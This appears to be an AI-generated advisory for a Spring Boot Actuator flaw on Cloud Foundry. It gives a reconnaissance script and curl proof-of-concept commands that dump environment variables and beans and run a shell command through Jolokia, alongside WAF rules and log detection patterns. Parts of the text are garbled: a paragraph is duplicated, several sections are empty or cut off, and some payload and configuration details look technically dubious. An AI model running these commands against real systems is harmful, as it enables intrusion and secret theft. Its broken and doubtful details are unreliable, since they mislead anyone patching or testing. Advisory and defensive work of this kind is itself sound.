CVE-2026-59411 — Spring Boot (4.1.2.1) — CRITICAL Vulnerability
When a Servlet-based web application that uses Actuator is deployed to Cloud Foundry, Spring Boot's default web security is disabled. Reactive web applications or Servlet-based applications with custom security configuration are not affected.
When a Servlet-based web application that uses Actuator is deployed to Cloud Foundry, Spring Boot's default web security is disabled. Reactive web applications or Servlet-based applications with custom security configuration are not affected.
🎯 What is this vulnerability?
CVE‑2026‑59411 is a critical flaw that occurs when a Servlet‑based Spring Boot 4.1.2.1 application is deployed to Cloud Foundry and the Spring Actuator module is present.
Under these conditions, Spring Boot’s default web‑security configuration is automatically disabled. As a result, all Actuator endpoints (e.g. /actuator/health, /actuator/env, /actuator/beans, /actuator/jolokia, etc.) become unauthenticated and can be accessed by anyone who can reach the application’s HTTP interface.
Technical root cause
- Missing authentication/authorization for Actuator endpoints.
- The Spring Boot auto‑configuration that normally protects Actuator endpoints with the default
BasicAuthenticationFilteris bypassed when the application is detected as running on Cloud Foundry and the Actuator starter is on the classpath.
The flaw is effectively a CWE‑284: Improper Access Control* (and CWE‑200: Information Exposure) because sensitive runtime data is exposed without any credentials. - AV:N – Network reachable
- AC:L – Low attack complexity (no special conditions)
- PR:N – No privileges required
- UI:N – No user interaction needed
- S:U – Unchanged (no scope change)
- C:H / I:H – High confidentiality and integrity impact (information disclosure, potential RCE)
- A:N – Availability not directly affected
CVSS breakdown
⚡ Attack Chain
NOTE: The exact Actuator endpoint URI is not specified in the CVE description.
The examples below use/actuator/healthand/actuator/envas illustrative targets; any Actuator endpoint that is exposed will behave the same way.
1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| a. Identify Spring Boot | HTTP header sniffing, /actuator/info (if exposed) | X-Application-Context: spring-boot or X-Application-Context: spring-boot in response headers |
| b. Detect Cloud Foundry | Inspect X-CF-Application-Instance-Id header or X-CF-Application-Name | Presence of X-CF-Application-Instance-Id indicates CF runtime |
| c. Verify Actuator presence | Probe /actuator/health | 200 OK with JSON payload indicates Actuator is enabled |
| d. Confirm default security disabled | Attempt unauthenticated access to a protected endpoint (e.g., /actuator/beans) | 200 OK (instead of 401/403) confirms security is disabled |
Example reconnaissance script (Python‑like pseudocode)
import requests
target = "https://app.example.com"
# 1. Check for Cloud Foundry header
resp = requests.get(target)
if "X-CF-Application-Instance-Id" in resp.headers:
print("[+] Running on Cloud Foundry")
# 2. Probe Actuator health
health = requests.get(f"{target}/actuator/health")
if health.status_code == 200:
print("[+] Actuator is enabled")
print(health.json())
# 3. Test security
beans = requests.get(f"{target}/actuator/beans")
if beans.status_code == 200:
print("[+] Actuator endpoints are unauthenticated!")2. Exploitation
Once the attacker knows that Actuator endpoints are exposed, they can:
1. Enumerate runtime information
* /actuator/env – environment variables, system properties
* /actuator/beans – bean definitions, including potentially sensitive beans
* /actuator/metrics – application metrics (CPU, memory, etc.)
2. Invoke JMX operations via Jolokia (if the Jolokia actuator is present)
* /actuator/jolokia/exec/java.lang:type=Runtime/exit – can terminate the JVM
* /actuator/jolokia/exec/java.lang:type=Runtime/exec – arbitrary command execution (if the JVM allows it)
3. Perform Remote Code Execution (RCE)
* Use the Jolokia exec operation to run shell commands or upload a web shell.
* Example: curl -X POST -H "Content-Type: application/json" -d '{"type":"exec","mbean":"java.lang:type=Runtime","operation":"exec","arguments":["/bin/sh","-c","id"]}' https://app.example.com/actuator/jolokia
Illustrative PoC (curl)
# 1. Grab environment variables
curl -s https://app.example.com/actuator/env | jq .
# 2. List all beans (may reveal passwords, secrets)
curl -s https://app.example.com/actuator/beans | jq .
# 3. Execute a command via Jolokia (if enabled)
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"type":"exec","mbean":"java.lang:type=Runtime","operation":"exec","arguments":["/bin/sh","-c","id"]}' \
https://app.example.com/actuator/jolokiaImportant: The above Jolokia payload is illustrative; the exact JSON structure depends on the Jolokia version. The key point is that the exec operation is available without authentication.3. Post‑exploitation
java.lang:type=Runtime/exec with a long‑running command) to exhaust resources. 🌍 Real World Impact
| Impact | Description |
|---|---|
| Confidentiality | High – Sensitive environment variables, secrets, and bean definitions are exposed. |
| Integrity | High – Attackers can modify runtime configuration or invoke destructive JMX operations. |
| Availability | None – The vulnerability does not directly crash the application, but RCE could lead to DoS. |
Practical consequences
exec can run arbitrary commands, enabling full compromise of the host. 🛡️ Remediation & Mitigation
Affected Versions
Upgrade Recommendation
Workarounds (if upgrade is not immediately possible)
| Method | Implementation |
|---|---|
| Disable Actuator endpoints | In application.yml or application.properties:<br>management.endpoints.web.exposure.include=<br>or set to a whitelist of only safe endpoints. |
| Require authentication | Add a security configuration that protects /actuator/:<br>@Configuration<br>public class ActuatorSecurity extends WebSecurityConfigurerAdapter {<br> @Override protected void configure(HttpSecurity http) throws Exception {<br> http.requestMatchers().antMatchers("/actuator/").and().authorizeRequests().anyRequest().authenticated();<br> }<br>} |
| Restrict by IP | Use Cloud Foundry security groups or a WAF to allow only internal IPs to reach /actuator/. |
| Disable Jolokia** | If Jolokia is not needed, remove the spring-boot-starter-jolokia dependency or set:<br>management.endpoint.jolokia.enabled=false |
WAF / ModSecurity Rules (illustrative)
# Block unauthenticated access to Actuator endpoints
SecRule REQUEST_URI "@beginsWith /actuator/" \
"phase:2,block,log,status:403,msg:'Unauthenticated Actuator access attempt'"
# Allow only requests with Basic Auth header
SecRule REQUEST_HEADERS:Authorization "@rx ^Basic " \
"phase:2,allow"Detection
| Log Pattern | What to look for |
|---|---|
GET /actuator/* 200 | Successful unauthenticated access |
GET /actuator/* 401 | Attempted access that was blocked (if security is enabled) |
POST /actuator/jolokia | Potential RCE attempts |
GET /actuator/env | Exposure of environment variables |
Sample log entry (nginx)
127.0.0.1 - - [02/Dec/2026:12:34:56 +0000] "GET /actuator/env HTTP/1.1" 200 1234 "-" "curl/7.68.0"⚠️ Urgency
Patching priority: Immediate.
Bottom line:
CVE‑2026‑59411 removes the default security layer for Actuator endpoints on Cloud Foundry, turning a normally protected diagnostic interface into an open door for attackers. The flaw is simple to exploit, can lead to full RCE, and should be addressed with an immediate upgrade or a robust workaround.
[🤖 CVE Professor AI Security Engine]
FOFA Query